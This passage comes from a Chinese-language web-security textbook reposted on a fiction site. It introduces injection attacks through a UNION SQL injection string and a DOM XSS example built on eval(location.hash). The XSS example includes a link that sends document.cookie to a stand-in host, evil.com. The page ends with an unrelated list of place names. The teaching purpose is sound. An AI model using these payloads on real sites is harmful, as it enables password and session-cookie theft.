官术网_书友最值得收藏!

1.1 數(shù)據(jù)與指令

用瀏覽器打開一個網(wǎng)站,呈現(xiàn)在我們面前的都是數(shù)據(jù),有服務(wù)端存儲的(如:數(shù)據(jù)庫、內(nèi)存、文件系統(tǒng)等)、客戶端存儲的(如:本地Cookies、Flash Cookies等)、傳輸中的(如:JSON數(shù)據(jù)、XML數(shù)據(jù)等),還有文本數(shù)據(jù)(如:HTML、JavaScript、CSS等)、多媒體數(shù)據(jù)(如:Flash、MP3等)、圖片數(shù)據(jù)等。

這些數(shù)據(jù)構(gòu)成了我們看到的Web世界,它表面豐富多彩,背后卻是暗流涌動。在數(shù)據(jù)流的每一個環(huán)節(jié)都可能出現(xiàn)安全風(fēng)險(xiǎn)。因?yàn)閿?shù)據(jù)流有可能被“污染”,而不像預(yù)期的那樣存儲或傳輸。

如何存儲、傳輸并呈現(xiàn)出這些數(shù)據(jù),這需要執(zhí)行指令,可以這樣理解:指令就是要執(zhí)行的命令。正是這些指令被解釋執(zhí)行,才產(chǎn)生對應(yīng)的數(shù)據(jù)內(nèi)容,而不同指令的解釋執(zhí)行,由對應(yīng)的環(huán)境完成,比如:

select username,email,desc from users where id=1;

這是一條簡單的SQL查詢指令,當(dāng)這條指令被解釋執(zhí)行時,就會產(chǎn)生一組數(shù)據(jù),內(nèi)容由username/email/desc構(gòu)成,而解釋的環(huán)境則為數(shù)據(jù)庫引擎。

再如:

<script>
eval(location.hash.substr(1));
</script>

<script></script>標(biāo)簽內(nèi)的是一句JavaScript指令,由瀏覽器的JS引擎來解釋執(zhí)行,解釋的結(jié)果就是數(shù)據(jù)。而<script></script>本身卻是HTML指令(俗稱HTML標(biāo)簽),由瀏覽器DOM引擎進(jìn)行渲染執(zhí)行。

如果數(shù)據(jù)與指令之間能各司其職,那么Web世界就非常太平了。可你見過太平盛世真正存在嗎?當(dāng)正常的數(shù)據(jù)內(nèi)容被注入指令內(nèi)容,在解釋的過程中,如果注入的指令能夠被獨(dú)立執(zhí)行,那么攻擊就發(fā)生了。

我們來看上面兩個例子的攻擊場景。

1.SQL注入攻擊的發(fā)生

select username,email,desc from users where id=1;

下面以MySQL環(huán)境為例進(jìn)行說明,在這條SQL語句中,如果id的值來自用戶提交,并且用戶是通過訪問鏈接(http://www.foo.com/user.php?id=1)來獲取自身的賬號信息的。當(dāng)訪問這樣的鏈接時,后端會執(zhí)行上面這條SQL語句,并返回對應(yīng)id號的用戶數(shù)據(jù)給前端顯示。那么普通用戶會規(guī)規(guī)矩矩地對id提交整型數(shù)值,如1、2、3等,而邪惡的攻擊者則會提交如下形式的值:

1 union select password,1,1 from users

組成的鏈接形式為:

http://www.foo.com/user.php?id=1 union select password,1,1 from users

組成的SQL語句為:

    select username,email,desc from users where id=1 union select password,1,1
from users

看到了嗎?組成的SQL語句是合法的,一個經(jīng)典的union查詢,此時注入的指令內(nèi)容就會被當(dāng)做合法指令執(zhí)行。當(dāng)這樣的攻擊發(fā)生時,users表的password就很可能泄漏了。

2.XSS跨站腳本攻擊的發(fā)生

<script>
eval(location.hash.substr(1));
</script>

將這段代碼保存到http://www.foo.com/info.html中。

JavaScript的內(nèi)置函數(shù)eval可以動態(tài)執(zhí)行JavaScript語句,location.hash獲取的是鏈接http://www.foo.com/info.html#callback中的#符號及其后面的內(nèi)容。substr是字符串截取函數(shù),location.hash.substr(1)表示截取#符號之后的內(nèi)容,隨后給eval函數(shù)進(jìn)行動態(tài)執(zhí)行。

如果攻擊者構(gòu)造出如下鏈接:

http://www.foo.com/info.html#new%20Image().src="http://www.evil.com/steal.php?c="+escape(document.cookie)

瀏覽器解釋執(zhí)行后,下面的語句:

eval(location.hash.substr(1));

會變?yōu)椋?/p>

eval('new Image().src="http://www.evil.com/steal.php?c="+escape(document.cookie)')

當(dāng)被攻擊者被誘騙訪問了該鏈接時,Cookies會話信息就會被盜取到黑客的網(wǎng)站上,一般情況下,黑客利用該Cookies可以登錄被攻擊者的賬號,并進(jìn)行越權(quán)操作。由此可以看到,攻擊的發(fā)生是因?yàn)樽⑷肓艘欢螑阂獾闹噶睿⑶以撝噶钅鼙粓?zhí)行。

題外話:

跨站攻擊發(fā)生在瀏覽器客戶端,而SQL注入攻擊由于針對的對象是數(shù)據(jù)庫,一般情況下,數(shù)據(jù)庫都在服務(wù)端,所以SQL注入是發(fā)生在服務(wù)端的攻擊。為什么這里說“一般情況下”,那是因?yàn)镠TML5提供了一個新的客戶端存儲機(jī)制:在瀏覽器端,使用SQLite數(shù)據(jù)庫保存客戶端數(shù)據(jù),該機(jī)制允許使用JavaScript腳本操作SQL語句,從而與本地?cái)?shù)據(jù)庫進(jìn)行交互。

主站蜘蛛池模板: 库尔勒市| 濮阳市| 满洲里市| 新安县| 阿克苏市| 西城区| 穆棱市| 德州市| 敦化市| 广安市| 密云县| 延川县| 普定县| 岑巩县| 察隅县| 申扎县| 武夷山市| 武宁县| 张家港市| 张家口市| 辛集市| 麻栗坡县| 新余市| 郁南县| 高邮市| 萨迦县| 邳州市| 刚察县| 铜陵市| 呈贡县| 萝北县| 城固县| 泗水县| 米脂县| 凌海市| 麻城市| 卫辉市| 垦利县| 岢岚县| 信宜市| 弥渡县|